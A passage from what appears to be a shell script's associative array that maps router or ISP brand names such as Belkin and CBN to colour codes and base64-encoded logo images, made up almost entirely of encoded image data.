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' ["Belkin"]='#0057D8 #94CAE4 #D6D6D6 data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjwhLS0gR2VuZXJhdG9yOiBBZG9iZSBJbGx1c3RyYXRvciAxNy4xLjAsIFNWRyBFeHBvcnQgUGx1Zy1JbiAuIFNWRyBWZXJzaW9uOiA2LjAwIEJ1aWxkIDApICAtLT4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkxheWVyXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4Ig0KCSB2aWV3Qm94PSIwIDAgNjAwIDE2My41IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDAgMCA2MDAgMTYzLjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTU3My4xLDEwOS4zdjM5LjhoLTE5LjJsMC0zOS44YzAtMTAuOC00LjItMTcuMi0xNC43LTE3LjJzLTE0LjcsNi41LTE0LjcsMTcuMnYzOS44aC0xOS4ydi0zOS44DQoJYzAtMjIuMywxMS4zLTM1LDM0LTM1QzU2MS44LDc0LjMsNTczLjEsODYuOCw1NzMuMSwxMDkuMyIvPg0KPHJlY3QgeD0iMzY2LjciIHk9IjQ5LjIiIGZpbGw9IiMyMzFGMjAiIHdpZHRoPSIxOS4yIiBoZWlnaHQ9IjEwMCIvPg0KPHBvbHlnb24gZmlsbD0iIzIzMUYyMCIgcG9pbnRzPSI0NjYuMyw3Ni45IDQ0NC4yLDc2LjkgNDE4LjMsMTA4LjkgNDE4LjMsNDkuMyAzOTkuMSw0OS4zIDM5OS4xLDE0OS4yIDQxOC4zLDE0OS4yIDQxOC4zLDExNC42IA0KCTQ0NC4yLDE0OS4yIDQ2Ny42LDE0OS4yIDQzNy43LDExMC4zICIvPg0KPHJlY3QgeD0iNDc0LjkiIHk9Ijc2LjkiIGZpbGw9IiMyMzFGMjAiIHdpZHRoPSIxOS4yIiBoZWlnaHQ9IjcyLjQiLz4NCjxwYXRoIGZpbGw9IiMyMzFGMjAiIGQ9Ik03Ni40LDMzLjhjOS40LDAsMTYuOS03LjYsMTYuOS0xNi45QzkzLjMsNy42LDg1LjgsMCw3Ni40LDBjLTkuMywwLTE2LjksNy42LTE2LjksMTYuOQ0KCUM1OS41LDI2LjMsNjcuMSwzMy44LDc2LjQsMzMuOCIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTYxLjQsNTAuN2MtNi4yLDAtMTEuMyw1LjEtMTEuMywxMS4zYzAsNi4yLDUsMTEuMywxMS4zLDExLjNjNi4yLDAsMTEuMy01LDExLjMtMTEuMw0KCUM3Mi43LDU1LjgsNjcuNiw1MC43LDYxLjQsNTAuNyIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTExLjMsNDUuN0M1LDQ1LjcsMCw1MC44LDAsNTdjMCw2LjIsNSwxMS4zLDExLjMsMTEuM2M2LjMsMCwxMS4zLTUuMSwxMS4zLTExLjMNCglDMjIuNSw1MC44LDE3LjUsNDUuNywxMS4zLDQ1LjciLz4NCjxwYXRoIGZpbGw9IiMyMzFGMjAiIGQ9Ik04MC4yLDYyYzAsNi4yLDUsMTEuMywxMS4zLDExLjNjNi4yLDAsMTEuMy01LDExLjMtMTEuM2MwLTYuMi01LTExLjMtMTEuMy0xMS4zDQoJQzg1LjIsNTAuNyw4MC4yLDU1LjgsODAuMiw2MiIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTE0MS42LDQ1LjdjLTYuMiwwLTExLjMsNS0xMS4zLDExLjNjMCw2LjIsNSwxMS4zLDExLjMsMTEuM2M2LjIsMCwxMS4zLTUuMSwxMS4zLTExLjMNCglDMTUyLjksNTAuOCwxNDcuOCw0NS43LDE0MS42LDQ1LjciLz4NCjxwYXRoIGZpbGw9IiMyMzFGMjAiIGQ9Ik02MS40LDgwLjhjLTYuMiwwLTExLjMsNS4xLTExLjMsMTEuM2MwLDYuMiw1LDExLjMsMTEuMywxMS4zYzYuMiwwLDExLjMtNS4xLDExLjMtMTEuMw0KCUM3Mi43LDg1LjksNjcuNiw4MC44LDYxLjQsODAuOCIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTEwMi43LDkyLjFjMC02LjItNS0xMS4zLTExLjMtMTEuM2MtNi4yLDAtMTEuMyw1LjEtMTEuMywxMS4zYzAsNi4yLDUsMTEuMywxMS4zLDExLjMNCglDOTcuNywxMDMuNCwxMDIuNyw5OC4zLDEwMi43LDkyLjEiLz4NCjxwYXRoIGZpbGw9IiMyMzFGMjAiIGQ9Ik00Ni40LDE0MWMtNi4yLDAtMTEuMyw1LjEtMTEuMywxMS4zYzAsNi4yLDUuMSwxMS4zLDExLjMsMTEuM2M2LjIsMCwxMS4zLTUsMTEuMy0xMS4zDQoJQzU3LjYsMTQ2LDUyLjYsMTQxLDQ2LjQsMTQxIi8+DQo8cGF0aCBmaWxsPSIjMjMxRjIwIiBkPSJNMTA2LjUsMTQxYy02LjIsMC0xMS4zLDUuMS0xMS4zLDExLjNjMCw2LjIsNS4xLDExLjMsMTEuMywxMS4zYzYuMiwwLDExLjMtNSwxMS4zLTExLjMNCglDMTE3LjgsMTQ2LDExMi43LDE0MSwxMDYuNSwxNDEiLz4NCjxwYXRoIGZpbGw9IiMyMzFGMjAiIGQ9Ik00ODQuNSw0NS42Yy02LjEsMC0xMS4xLDUtMTEuMSwxMS4xYzAsNi4xLDUsMTEuMSwxMS4xLDExLjFjNi4xLDAsMTEuMS01LDExLjEtMTEuMQ0KCUM0OTUuNiw1MC42LDQ5MC42LDQ1LjYsNDg0LjUsNDUuNiIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTQ4NC41LDQ1LjZjLTYuMSwwLTExLjEsNS0xMS4xLDExLjFjMCw2LjEsNSwxMS4xLDExLjEsMTEuMWM2LjEsMCwxMS4xLTUsMTEuMS0xMS4xDQoJQzQ5NS42LDUwLjYsNDkwLjYsNDUuNiw0ODQuNSw0NS42Ii8+DQo8cG9seWdvbiBmaWxsPSIjMjMxRjIwIiBwb2ludHM9IjU4OS40LDE0MS44IDU4Ni42LDE0MS44IDU4Ni42LDE0OS4yIDU4NS4yLDE0OS4yIDU4NS4yLDE0MS44IDU4Mi40LDE0MS44IDU4Mi40LDE0MC41IDU4OS40LDE0MC41IA0KCSIvPg0KPHBvbHlnb24gZmlsbD0iIzIzMUYyMCIgcG9pbnRzPSI2MDAsMTQwLjUgNTk4LjMsMTQwLjUgNTk1LjMsMTQ3IDU5NS4yLDE0NyA1OTIuMywxNDAuNSA1OTAuNiwxNDAuNSA1OTAuNiwxNDkuMiA1OTEuOSwxNDkuMiANCgk1OTEuOSwxNDIuOSA1OTIsMTQyLjkgNTk0LjgsMTQ5LjIgNTk1LjYsMTQ5LjIgNTk4LjUsMTQyLjkgNTk4LjYsMTQyLjkgNTk4LjYsMTQ5LjIgNjAwLDE0OS4yICIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTI0MC40LDc0LjRjLTEwLjYsMC0xOC42LDQuOC0yMi42LDkuOVY0OC4zaC0yMHY2NC4yYzAsMjIuOCwxNS45LDM4LjcsMzguNSwzOC43DQoJYzIyLjYsMCwzOC42LTE1LjgsMzguNi0zOC40QzI3NC45LDg5LjksMjYxLjEsNzQuNCwyNDAuNCw3NC40eiBNMjM2LjQsMTMzLjRjLTEwLjksMC0xOS4yLTguOS0xOS4yLTIwLjZjMC0xMS43LDguMy0yMC42LDE5LjItMjAuNg0KCWMxMC45LDAsMTkuMSw4LjksMTkuMSwyMC42QzI1NS42LDEyNC42LDI0Ny4zLDEzMy40LDIzNi40LDEzMy40eiIvPg0KPHBhdGggZmlsbD0iIzIzMUYyMCIgZD0iTTM1Ni42LDExMy45YzAtMjQuOS0xMy42LTM5LjYtMzYuNC0zOS42Yy0yMS42LDAtMzcuOSwxNi44LTM3LjksMzkuMWMwLDIyLjYsMTUuNiwzNy44LDM5LDM3LjgNCgljMTMuOCwwLDIzLjMtNS4xLDI4LjktOS42bC05LjgtMTMuM2MtNS4zLDQuNi0xMS42LDYuNS0xOS4yLDYuNWMtMTAuMywwLTE4LjYtNi41LTE5LjYtMTUuNWg1NC43DQoJQzM1Ni41LDExOC4zLDM1Ni42LDExNS41LDM1Ni42LDExMy45eiBNMzAxLjgsMTA2LjNjMS4zLTksNy40LTE2LDE3LjgtMTZjMTAuNSwwLDE2LjMsNywxNy42LDE2SDMwMS44eiIvPg0KPC9zdmc+DQo=' ["CBN"]='#D1D1D1 #008536 #696969 data:image/png;base64,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